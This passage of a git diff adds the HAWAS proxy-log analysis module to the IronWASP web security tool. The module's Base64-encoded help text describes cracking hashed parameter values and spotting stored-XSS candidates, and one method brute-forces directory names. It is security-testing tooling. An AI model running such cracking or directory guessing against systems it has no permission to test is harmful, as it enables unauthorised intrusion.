+ sr_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_hosts_grid.Enabled = True + sr_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + sr_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_hosts_grid.AllowUserToAddRows = False + sr_hosts_grid.AllowUserToDeleteRows = False + sr_hosts_grid.AllowUserToResizeColumns = True + sr_hosts_grid.AllowUserToResizeRows = False + sr_hosts_grid.ColumnHeadersVisible = True + sr_hosts_grid.RowHeadersVisible = False + sr_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + sr_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + sr_hosts_grid.CellClick += lambda s,e: self.sr_hosts_grid_click() + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_hosts_grid) + ui.ModControls['sr_hosts_grid'] = sr_hosts_grid + mod_label_20 = ModLabel() + mod_label_20.Name = 'mod_label_20' + mod_label_20.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_20.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_20.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_20.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_20.Enabled = True + mod_label_20.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_20.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_20.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_20.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_20.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_20) + ui.ModControls['mod_label_20'] = mod_label_20 + result_tabs.TabPages.Add('interactive_testing_tab', ' Interactive Testing ') + mod_label_21 = ModLabel() + mod_label_21.Name = 'mod_label_21' + mod_label_21.Size = ModUiTools.GetSizeDefinition(830,135) + mod_label_21.Location = ModUiTools.GetLocationDefinition(17,19) + mod_label_21.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_21.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_21.Enabled = True + mod_label_21.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_21.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_21.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_21.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_21.Text = Tools.Base64Decode('VGhpcyBzZWN0aW9uIHdhcyBvcmlnaW5hbGx5IHBsYW5uZWQgdG8gaG9sZCB1dGlsaXRpZXMgdG8gcGVyZm9ybSBDU1JGIHRlc3RpbmcsIFByaXZpbGxlZ2UgRXNjYWxhdGlvbiB0ZXN0cyBhbmQgSGlkZGVuIFBhcmFtZXRlciBHdWVzc2luZyB0ZXN0cyBiYXNlZCBvbiB0aGUgaW5mb3JtYXRpb24gZm91bmQgaW4gdGhlIGFuYWx5c2lzIG9mIHRoZSBsb2cuDQoNCkhvd2V2ZXIgdG8gcHJvdmlkZSBhIG1vcmUgcm9idXN0IFVJIGZvciB0aGVzZSB0ZXN0cyB0aGVzZSBmdW5jdGlvbmFsaXR5IGhhdmUgYmVlbiBtb3ZlZCB0byB0aGUgSXJvbldBU1AgY29yZSBpdHNlbGYuDQpUbyBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMgZ28gdG8gdGhlIExvZ3Mgc2VjdGlvbiBpbnNpZGUgSXJvbldBU1AsIGNsaWNrIG9uIHRoZSAnU2VhcmNoIGFuZCBBbmFseXplIExvZ3MnIGJ1dHRvbiB0aGVyZS4NCkFmdGVyIHlvdSBkbyBhIHNlYXJjaCwgY2xpY2sgb24gdGhlICdUZXN0IFNlbGVjdGVkIExvZ3MnIGJ1dHRvbiB0byBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMu') + result_tabs.TabPages['interactive_testing_tab'].Controls.Add(mod_label_21) + ui.ModControls['mod_label_21'] = mod_label_21 + result_tabs.TabPages.Add('tab_page_21', ' Help ') + mod_text_box_21 = ModTextBox() + mod_text_box_21.Name = 'mod_text_box_21' + mod_text_box_21.Size = ModUiTools.GetSizeDefinition(861,446) + mod_text_box_21.Location = ModUiTools.GetLocationDefinition(3,3) + mod_text_box_21.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_text_box_21.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_text_box_21.Enabled = True + mod_text_box_21.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_text_box_21.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_text_box_21.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_text_box_21.ReadOnly = True + mod_text_box_21.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + mod_text_box_21.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_text_box_21.Multiline = True + mod_text_box_21.WordWrap = True + mod_text_box_21.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_text_box_21.Text = Tools.Base64Decode('SEFXQVMgYW5hbHl6ZXMgeW91ciBQcm94eSBsb2dzIGFuZCBsb29rcyBmb3IgaW50ZXJlc3RpbmcgaW5mb3JtYXRpb24uIE9uY2UgdGhlIGFuYWx5c2lzIGlzIGNvbXBsZXRlIHRoZSByZXN1bHRzIGFyZSBzaG93biB0byB5b3UuDQpUaGUgcmVzdWx0cyBhcmVhIGhhcyB0aGUgZm9sbG93aW5nIHNlY3Rpb25zOg0KDQpQYXJhbWV0ZXIgTmFtZXMgYW5kIFZhbHVlczoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KVGhpcyBzZWN0aW9uIGxpc3RzIGFsbCB0aGUgcGFyYW1ldGVyIG5hbWVzIGFuZCB2YWx1ZXMgZGlzY292ZXJlZCBmcm9tIHRoZSBsb2dzLiBUaGVzZSBhcmUgY2F0ZWdvcml6ZWQgYnkgdGhlIGhvc3RuYW1lcy4NClRoZSBsaXN0IG9mIGFsbCBob3N0cyBkaXNjb3ZlcmVkIGluIHRoZSBsb2dzIGlzIGRpc3BsYXllZCBpbiB0aGUgbGVmdC1tb3N0IGFyZWEuIFdoZW4geW91IGNsaWNrIG9uIGFueSBvZiB0aGUgbGlzdGVkIGhvc3RuYW1lcyB0aGVuIHRoZSBuYW1lcyBvZiBhbGwgdGhlIHBhcmFtZXRlcnMgYmVsb25naW5nIHRvIHRoYXQgaG9zdCBhcmUgc2hvd24uDQpXaGVuIHlvdSBjbGljayBvbiBhIHBhcmFtZXRlciBuYW1lLCB0aGUgc2VjdGlvbnMgaW4gd2hpY2ggdGhlc2UgcGFyYW1ldGVyIG5hbWVzIHdlcmUgZGlzY292ZXJlZCBpcyBzaG93bi4NCldoZW4geW91IGNsaWNrIG9uIG9uZSBvZiB0aGUgc2VjdGlvbnMgdGhlbiBhbGwgdGhlIHZhbHVlcyB0aGF0IHRoZSBzZWxlY3RlZCBwYXJhbWV0ZXIgaGFkIGluIHRoZSBzZWN0aW9uIGFyZSBsaXN0ZWQuDQoNClRoaXMgY2FuIGJlIGhlbHBmdWwgaW4gZ2V0IGEgcXVpY2sgb3ZlcnZpZXcgb2YgdGhlIHNpdGUgYW5kIHRvIGlkZW50aWZ5IHBhcmFtZXRlcnMgd2l0aCBpbnRlcmVzdGluZyBuYW1lcyBhbmQgdmFsdWVzLg0KDQpFbmNvZGVkIFBhcmFtZXRlciBWYWx1ZXM6DQo9PT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBlaXRoZXIgSGV4IG9yIEJhc2U2NCBlbmNvZGVkLiBJZiBIQVdBUyBpZGVudGlmaWVkIGFueSBwYXJhbWV0ZXJzIHdpdGggc3VjaCBlbmNvZGVkIHZhbHVlcyB0aGVuIGl0IGRlY29kZXMgdGhlbSBhbmQgbGlzdHMgdGhlbSBoZXJlLg0KQWdhaW4gdGhlIGZpbmRpbmdzIGFyZSBjYXRlZ29yaXplZCBieSBob3N0bmFtZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgaXQgY29udGFpbmVkIGFueSBlbmNvZGVkIHBhcmFtZXRlciB2YWx1ZXMuDQpPbmx5IEhleCBhbmQgQmFzZTY0IGVuY29kaW5nIGRldGVjdGlvbiBhcmUgc3VwcG9ydGVkIGZvciBub3cuDQoNCkhhc2hlZCBQYXJhbWV0ZXIgVmFsdWVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBTSEEgb3IgTUQ1IGhhc2hlcy4gSWYgSEFXQVMgaWRlbnRpZmllZCBhbnkgcGFyYW1ldGVycyB3aGljaCBsb29rIGxpa2UgaGFzaGVzIHRoZW4gaXQgdHJpZXMgdG8gY3JhY2sgdGhlbSBieSB1c2luZyB0aGUgbGlzdCBvZiBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gdGhlIHNhbWUgaG9zdCBhcyBkaWN0aW9uYXJ5IGxpc3QuDQpJZiBIQVdBUyBpcyBhYmxlIHRvIGNyYWNrIGFueSBvZiB0aGVzZSBoYXNoZXMgdGhlbiBpdCBpbmNsdWRlcyB0aGUgY3JhY2tlZCB2YWx1ZSBpbiB0aGUgcmVzdWx0IGFsb25nIHdpdGggdGhlIG5hbWUgYW5kIGRldGFpbHMgb2YgdGhlIHBhcmFtZXRlciB0aGF0IGNvbnRhaW5lZCB0aGUgaGFzaGVkIHZhbHVlIGFuZCB0aGUgcGFyYW1ldGVyIHRoYXQgY29udGFpbmVkIHRoZSBjbGVhci10ZXh0IHZhbHVlIHVzZWQgdG8gY3JhY2sgdGhlIGhhc2guDQpBZ2FpbiB0aGUgZmluZGluZ3MgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lLiBDbGljayBvbiBhIGhvc3RuYW1lIHRvIHNlZSBpZiBpdCBjb250YWluZWQgYW55IGhhc2hlZCBwYXJhbWV0ZXIgdmFsdWVzLg0KDQpQb3RlbnRpYWwgU3RvcmVkIFhTUyBDYW5kaWRhdGVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClN0b3JlZCBYU1Mgb25seSBoYXBwZW5zIHdoZW4gdGhlIGFwcGxpY2F0aW9uIHN0b3JlcyB1c2VyIGlucHV0IG9uIHRoZSBzZXJ2ZXItc2lkZSBhbmQgcmV0dXJucyBpdCBiYWNrIGluIHNvbWUgb3RoZXIgcGFydCBvZiB0aGUgc2l0ZS4gSW4gYSBiaWcgYXBwbGljYXRpb24gaXQgd291bGQgYmUgZGlmZmljdWx0IHRvIGZpbmQgb3V0IHRoZSBwb3RlbnRpYWwgYXJlYXMgd2hlcmUgdGhpcyB0eXBlIG9mIHN0b3JlZCByZWZsZWN0aW9uIGJlaGF2aW91ciBpcyBoYXBwZW5pbmcuDQpIQVdBUyBpZGVudGlmaWVzIGFsbCBhcmVhcyB3aGVyZSBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gc2F5IFJlcXVlc3QgQSBhcHBlYXJzIGluIHRoZSBib2R5IG9mIGFuIHVucmVsYXRlZCBSZXNwb25zZSBCLiBJZiBSZXF1ZXN0IEIgZGlkIG5vdCBjb250YWluIHRoZXNlIHBhcmFtZXRlciB2YWx1ZXMgdGhlbiB0aGVyZSBpcyBhIHBvc3NpYmlsaXR5IHRoYXQgdGhpcyB3YXMgcHV0IGluIHRvIFJlc3BvbnNlIEIgYnkgdGhlIHNlcnZlciBhZnRlciBzdG9yaW5nIHRoZW0gZnJvbSBSZXF1ZXN0IEEgb24gdGhlIHNlcnZlci1zaWRlLg0KDQpBbGwgaWRlbnRpZmllZCBpbnN0YW5jZXMgb2YgdGhpcyBiZWhhdmlvdXIgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lIGFuZCBsaXN0ZWQgaGVyZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgdGhlcmUgd2VyZSBhbnkgc3RvcmVkIHJlZmxlY3Rpb25zLiBTbWFsbCBwYXJhbWV0ZXIgdmFsdWVzIGFyZSBpZ25vcmVkIGR1cmluZyB0aGlzIGFuYWx5c2lzIHRvIHJlZHVjZSBub2lzZS4=') + result_tabs.TabPages['tab_page_21'].Controls.Add(mod_text_box_21) + ui.ModControls['mod_text_box_21'] = mod_text_box_21 + ui.Controls.Add(result_tabs) + ui.ModControls['result_tabs'] = result_tabs + control_btn = ModButton() + control_btn.Name = 'control_btn' + control_btn.Size = ModUiTools.GetSizeDefinition(135,23) + control_btn.Location = ModUiTools.GetLocationDefinition(12,15) + control_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + control_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + control_btn.Enabled = True + control_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + control_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + control_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + control_btn.Text = Tools.Base64Decode('U3RhcnQgQW5hbHlzaXM=') + control_btn.Click += lambda s,e: self.start_stop_hawas() + ui.Controls.Add(control_btn) + ui.ModControls['control_btn'] = control_btn + ui.ShowUi() + + self.ui = ui + ui.ModControls['show_results_btn'].SetVisible(False) + self.hide_results() + + def start_stop_hawas(self): + if self.ui.ModControls['control_btn'].Text == "Start Analysis": + self.start_hawas() + else: + self.stop_hawas() + + def start_hawas(self): + self.hide_results() + self.log_sources = ["Proxy"] + self.params = Structures.UniversalParametersList() + self.encoded_values = Structures.UniversalEncodedValuesList() + self.hashed_values = Structures.UniversalHashedValuesList() + self.stored_reflections = Structures.UniversalStoredReflectionsList() + self.config = HawasConfig.Settings(self) + try: + self.log_reader = LogReader.Reader(self) + self.thread_id = IronThread.Run(self.log_reader.read_logs) + self.ui.ModControls['control_btn'].SetText("Stop Analysis") + except Exception as e: + self.ui.ModControls['status_lbl'].SetText("Could not start analysis - {0}".format(e.message)) + + def stop_hawas(self): + self.ui.ModControls['status_lbl'].SetText('Analysis stopped.') + self.ui.ModControls['control_btn'].SetText("Start Analysis") + IronThread.Stop(self.thread_id) + + def end_hawas(self): + self.ui.ModControls['control_btn'].SetText("Start Analysis") + self.ui.ModControls['show_results_btn'].SetVisible(True) + + def hide_results(self): + self.ui.ModControls['result_tabs'].SetVisible(False) + + def show_status(self, msg): + self.ui.ModControls['status_lbl'].SetText(msg) + + def show_results(self): + self.reset_results_ui() + self.ui.ModControls['result_tabs'].SetVisible(True) + self.show_hosts() + + def show_hosts(self): + self.ui.ModControls['pnv_hosts_grid'].Rows.Clear() + for base_url in self.params.get_base_urls(): + self.ui.ModControls['pnv_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['enc_hosts_grid'].Rows.Clear() + for base_url in self.encoded_values.get_base_urls(): + self.ui.ModControls['enc_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['hashed_hosts_grid'].Rows.Clear() + for base_url in self.hashed_values.get_base_urls(): + self.ui.ModControls['hashed_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['sr_hosts_grid'].Rows.Clear() + for base_url in self.stored_reflections.get_base_urls(): + self.ui.ModControls['sr_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + def pnv_hosts_grid_clicked(self): + if len(self.ui.ModControls['pnv_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['pnv_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['pnv_selected_host_tb'].SetText(base_url) + self.selected_base_url = base_url + self.show_parameter_names() + + def show_parameter_names(self): + self.ui.ModControls['pnv_selected_parameter_tb'].SetText("") + param_list = self.params.get_parameters_list(self.selected_base_url) + self.ui.ModControls['pnv_parameters_grid'].Rows.Clear() + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([-2, "*Select All Parameters*"])) + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([-1, "*Select Url Path Parts*"])) + for id in param_list.get_ids(): + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([id, param_list.get_parameter(id).name])) + self.ui.ModControls['pnv_parameters_grid'].SetVisible(True) + self.ui.ModControls['pnv_selected_parameter_tb'].SetVisible(True) + self.reset_pnv_values_ui() + self.reset_pnv_sections_ui() + + def pnv_parameters_grid_clicked(self): + if len(self.ui.ModControls['pnv_parameters_grid'].SelectedRows) > 0: + parameter_id = int(self.ui.ModControls['pnv_parameters_grid'].SelectedRows[0].Cells[0].Value) + parameter_name = str(self.ui.ModControls['pnv_parameters_grid'].SelectedRows[0].Cells[1].Value) + self.ui.ModControls['pnv_selected_parameter_tb'].SetText(parameter_name) + self.selected_parameter_id = parameter_id + self.show_parameter_sections() + + def show_parameter_sections(self): + param_list = self.params.get_parameters_list(self.selected_base_url) + sections = [] + + if self.selected_parameter_id > 0: + param = param_list.get_parameter(self.selected_parameter_id) + sections.extend(param.sections) + elif self.selected_parameter_id == -2: + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + for section in param.sections: + if sections.count(section) == 0: + sections.append(section) + if len(sections) == 8:#all possible sections + break + elif self.selected_parameter_id == -1: + self.selected_section = "Url Path Part" + self.show_parameter_values() + self.reset_pnv_sections_ui() + return + + self.ui.ModControls['pnv_sections_grid'].Rows.Clear() + self.ui.ModControls['pnv_sections_grid'].Rows.Add(Tools.ToDotNetArray(["*Select All Sections*"])) + for section in sections: + self.ui.ModControls['pnv_sections_grid'].Rows.Add(Tools.ToDotNetArray([section])) + self.ui.ModControls['pnv_sections_grid'].SetVisible(True) + self.reset_pnv_values_ui() + + def pnv_sections_grid_clicked(self): + if len(self.ui.ModControls['pnv_sections_grid'].SelectedRows) > 0: + section = str(self.ui.ModControls['pnv_sections_grid'].SelectedRows[0].Cells[0].Value) + self.selected_section = section + self.show_parameter_values() + + def show_parameter_values(self): + self.ui.ModControls['pnv_selected_value_tb'].SetText("") + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText("") + values_dict = {} + param_list = self.params.get_parameters_list(self.selected_base_url) + sections = [] + param_ids = [] + if self.selected_parameter_id > 0: + param_ids = [self.selected_parameter_id] + elif self.selected_parameter_id == -2: + param_ids.extend(param_list.get_ids()) + + for pid in param_ids: + param = param_list.get_parameter(pid) + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if value.section == self.selected_section or self.selected_section.startswith("*"): + if not values_dict.has_key(value.value): + values_dict[value.value] = [] + values_dict[value.value].extend(value.proxy_log_ids) + + self.ui.ModControls['pnv_values_grid'].Rows.Clear() + for value in values_dict.keys(): + values_dict[value].sort() + log_ids = str(values_dict[value]).lstrip('[').rstrip(']') + self.ui.ModControls['pnv_values_grid'].Rows.Add(Tools.ToDotNetArray([value, log_ids])) + + self.ui.ModControls['pnv_values_grid'].SetVisible(True) + self.ui.ModControls['pnv_selected_value_tb'].SetVisible(True) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetVisible(True) + self.ui.ModControls['select_value_lbl'].SetVisible(True) + self.ui.ModControls['selected_value_log_ids_lbl'].SetVisible(True) + + def pnv_values_grid_clicked(self): + if len(self.ui.ModControls['pnv_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['pnv_values_grid'].SelectedRows[0].Cells[0].Value) + log_ids = str(self.ui.ModControls['pnv_values_grid'].SelectedRows[0].Cells[1].Value) + self.ui.ModControls['pnv_selected_value_tb'].SetText(value) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText(log_ids) + + + def reset_results_ui(self): + self.reset_pnv_hosts_ui() + self.reset_pnv_parameter_names_ui() + self.reset_pnv_sections_ui() + self.reset_pnv_values_ui() + + def reset_pnv_hosts_ui(self): + self.ui.ModControls['pnv_hosts_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_host_tb'].SetText("") + + def reset_pnv_parameter_names_ui(self): + self.ui.ModControls['pnv_parameters_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_parameter_tb'].SetText("") + self.ui.ModControls['pnv_selected_parameter_tb'].SetVisible(False) + self.ui.ModControls['pnv_parameters_grid'].SetVisible(False) + + def reset_pnv_sections_ui(self): + self.ui.ModControls['pnv_sections_grid'].Rows.Clear() + self.ui.ModControls['pnv_sections_grid'].SetVisible(False) + + def reset_pnv_values_ui(self): + self.ui.ModControls['pnv_values_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_value_tb'].SetText("") + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText("") + self.ui.ModControls['select_value_lbl'].SetVisible(False) + self.ui.ModControls['selected_value_log_ids_lbl'].SetVisible(False) + self.ui.ModControls['pnv_values_grid'].SetVisible(False) + self.ui.ModControls['pnv_selected_value_tb'].SetVisible(False) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetVisible(False) + + def enc_hosts_grid_click(self): + if len(self.ui.ModControls['enc_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['enc_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['enc_selected_host_tb'].SetText(base_url) + self.show_enc_values(base_url) + + def show_enc_values(self, base_url): + self.reset_enc_values_ui() + enc_list = self.encoded_values.get_list(base_url) + for v_id in enc_list.get_ids(): + enc_val = enc_list.get(v_id) + log_ids = str(enc_val.log_ids).lstrip('[').rstrip(']') + parameter_names = str(enc_val.parameter_names).lstrip('[').rstrip(']') + if len(enc_val.base64_decoded_value) > 0: + self.ui.ModControls['enc_values_grid'].Rows.Add(Tools.ToDotNetArray([enc_val.value, "Base64", enc_val.base64_decoded_value, log_ids, parameter_names])) + if len(enc_val.hex_decoded_value) > 0: + self.ui.ModControls['enc_values_grid'].Rows.Add(Tools.ToDotNetArray([enc_val.value, "Hex", enc_val.hex_decoded_value, log_ids, parameter_names])) + + def enc_values_grid_click(self): + if len(self.ui.ModControls['enc_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[0].Value) + decoded_value = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[2].Value) + log_ids = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[3].Value) + parameter_names = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[4].Value) + + self.ui.ModControls['enc_original_value_tb'].SetText(value) + self.ui.ModControls['enc_decoded_value_tb'].SetText(decoded_value) + self.ui.ModControls['enc_log_ids_tb'].SetText(log_ids) + self.ui.ModControls['enc_parameter_names_tb'].SetText(parameter_names) + + def reset_enc_ui(self): + self.ui.ModControls['enc_hosts_grid'].Rows.Clear() + self.ui.ModControls['enc_selected_host_tb'].SetText("") + self.reset_enc_values_ui() + + def reset_enc_values_ui(self): + self.ui.ModControls['enc_values_grid'].Rows.Clear() + self.ui.ModControls['enc_original_value_tb'].SetText("") + self.ui.ModControls['enc_decoded_value_tb'].SetText("") + self.ui.ModControls['enc_log_ids_tb'].SetText("") + self.ui.ModControls['enc_parameter_names_tb'].SetText("") + + def hashed_hosts_grid_click(self): + if len(self.ui.ModControls['hashed_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['hashed_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['hashed_selected_host_tb'].SetText(base_url) + self.show_hashed_values(base_url) + + def show_hashed_values(self, base_url): + self.reset_hashed_values_ui() + hashed_list = self.hashed_values.get_list(base_url) + for v_id in hashed_list.get_ids(): + hashed_val = hashed_list.get(v_id) + log_ids = str(hashed_val.log_ids).lstrip('[').rstrip(']') + parameter_names = str(hashed_val.parameter_names).lstrip('[').rstrip(']') + self.ui.ModControls['hashed_values_grid'].Rows.Add(Tools.ToDotNetArray([hashed_val.value, hashed_val.hash_type, hashed_val.cracked_value, log_ids, parameter_names])) + + def hashed_values_grid_click(self): + if len(self.ui.ModControls['hashed_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[0].Value) + cracked_value = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[2].Value) + log_ids = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[3].Value) + parameter_names = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[4].Value) + + self.ui.ModControls['hashed_original_value_tb'].SetText(value) + self.ui.ModControls['hashed_cracked_value_tb'].SetText(cracked_value) + self.ui.ModControls['hashed_log_ids_tb'].SetText(log_ids) + self.ui.ModControls['hashed_parameter_names_tb'].SetText(parameter_names) + + def reset_hashed_ui(self): + self.ui.ModControls['hashed_hosts_grid'].Rows.Clear() + self.ui.ModControls['hashed_selected_host_tb'].SetText("") + self.reset_hashed_values_ui() + + def reset_hashed_values_ui(self): + self.ui.ModControls['hashed_values_grid'].Rows.Clear() + self.ui.ModControls['hashed_original_value_tb'].SetText("") + self.ui.ModControls['hashed_cracked_value_tb'].SetText("") + self.ui.ModControls['hashed_log_ids_tb'].SetText("") + self.ui.ModControls['hashed_parameter_names_tb'].SetText("") + + def sr_hosts_grid_click(self): + if len(self.ui.ModControls['sr_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['sr_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['sr_selected_host_tb'].SetText(base_url) + self.show_sr_values(base_url) + + def show_sr_values(self, base_url): + self.reset_sr_values_ui() + sr_list = self.stored_reflections.get_list(base_url) + for i_id in sr_list.get_ids(): + sr_item = sr_list.get(i_id) + req_log_ids = str(sr_item.request_log_ids).lstrip('[').rstrip(']') + res_log_ids = str(sr_item.response_log_ids).lstrip('[').rstrip(']') + self.ui.ModControls['sr_values_grid'].Rows.Add(Tools.ToDotNetArray([sr_item.parameter_name, sr_item.value, req_log_ids, res_log_ids])) + + def sr_values_grid_click(self): + if len(self.ui.ModControls['sr_values_grid'].SelectedRows) > 0: + parameter_name = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[0].Value) + value = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[1].Value) + req_log_ids = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[2].Value) + res_log_ids = str(self.ui.ModControls['sr_values_grid'].SelectedRows[0].Cells[3].Value) + + self.ui.ModControls['sr_parameter_name_tb'].SetText(parameter_name) + self.ui.ModControls['sr_value_tb'].SetText(value) + self.ui.ModControls['sr_request_log_ids_tb'].SetText(req_log_ids) + self.ui.ModControls['sr_response_log_ids_tb'].SetText(res_log_ids) + + def reset_sr_ui(self): + self.ui.ModControls['sr_hosts_grid'].Rows.Clear() + self.ui.ModControls['sr_selected_host_tb'].SetText("") + self.reset_sr_values_ui() + + def reset_sr_values_ui(self): + self.ui.ModControls['sr_values_grid'].Rows.Clear() + self.ui.ModControls['sr_parameter_name_tb'].SetText("") + self.ui.ModControls['sr_value_tb'].SetText("") + self.ui.ModControls['sr_request_log_ids_tb'].SetText("") + self.ui.ModControls['sr_response_log_ids_tb'].SetText("") + + def start_bruteforce(self, r): + dictionary_items = ['admin', 'backup', 'db', 'bank'] + self.ui.ModControls['out_tb'].AddText('Starting directory guessing....\r\n') + try: + for item in dictionary_items: + rr = r.GetClone() + url = '/' + item + '/' + rr.Url = url + res = rr.Send() + if res.Code == 200 or res.Code == 403: + self.ui.ModControls['out_tb'].AddText('Found URL - {0}\r\n'.format(url)) + self.ui.ModControls['out_tb'].AddText('Directory guessing complete.') + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + self.ui.ModControls['out_tb'].SetText('Directory Guessing stopped with error - {0}'.format(e.message)) + self.ui.ModControls['start_btn'].SetText("Start") + +m = HAWAS() +Module.Add(m.GetInstance()) diff --git a/Iron/bin/Debug/modules/HAWAS/HAWASCore/HawasConfig.py b/Iron/bin/Debug/modules/HAWAS/HAWASCore/HawasConfig.py new file mode 100644 index 0000000..588b9be --- /dev/null +++ b/Iron/bin/Debug/modules/HAWAS/HAWASCore/HawasConfig.py @@ -0,0 +1,111 @@ +from IronWASP import * +import re + +class Settings: + + def __init__(self, hawas): + self.hawas = hawas + self.encoding_settings = SectionSetting(self.hawas) + self.hashed_settings = SectionSetting(self.hawas) + self.stored_reflection_settings = SectionSetting(self.hawas) + self.hosts_to_ignore = {} + self.hosts_to_include = {} + self.ignore_hosts = False + self.include_hosts = False + + self.encoding_settings.ignore("Request Header", "Accept") + self.encoding_settings.ignore("Request Header", "Accept-Charset") + self.encoding_settings.ignore("Request Header", "Accept-Language") + self.encoding_settings.ignore("Request Header", "Accept-Encoding") + self.encoding_settings.ignore("Request Header", "Referer") + self.encoding_settings.ignore("Request Header", "User-Agent") + self.encoding_settings.ignore("Request Header", "Proxy-Connection") + self.encoding_settings.ignore("Request Header", "Host") + self.encoding_settings.ignore("Request Header", "Content-Length") + self.encoding_settings.ignore("Request Header", "Content-Type") + + self.encoding_settings.ignore("Response Header", "If-None-Match") + self.encoding_settings.ignore("Response Header", "ETag") + self.encoding_settings.ignore("Response Header", "Date") + self.encoding_settings.ignore("Response Header", "Server") + self.encoding_settings.ignore("Response 